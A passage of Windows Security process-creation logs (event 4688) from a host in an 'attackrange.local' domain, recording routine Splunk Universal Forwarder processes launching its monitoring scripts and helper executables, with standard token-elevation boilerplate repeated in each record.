a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254053 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf50 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinNetMon.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254052 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1184 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinHostMon.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254051 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11c0 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinEventLog.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254050 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1100 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\MonitorNoHandle.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254049 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x110c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1154 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal check-xml-files --answer-yes --no-prompt - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254048 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1154 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal check-xml-files --answer-yes --no-prompt 2>&1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254047 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5c0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x504 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254046 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x504 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xeec - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254045 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xeec - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1008 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254060 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x898 - New Process Name: C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exe" --scheme - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254059 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xff0 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\powershell2.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254058 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1178 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\powershell.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254057 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1200 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\perfmon.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254056 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x900 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\admon.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254055 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb28 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinRegMon.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254054 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1288 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinPrintMon.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254061 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x106c - New Process Name: C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254063 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12f8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254062 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1298 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-wmi.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-wmi.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254064 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12ac - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process 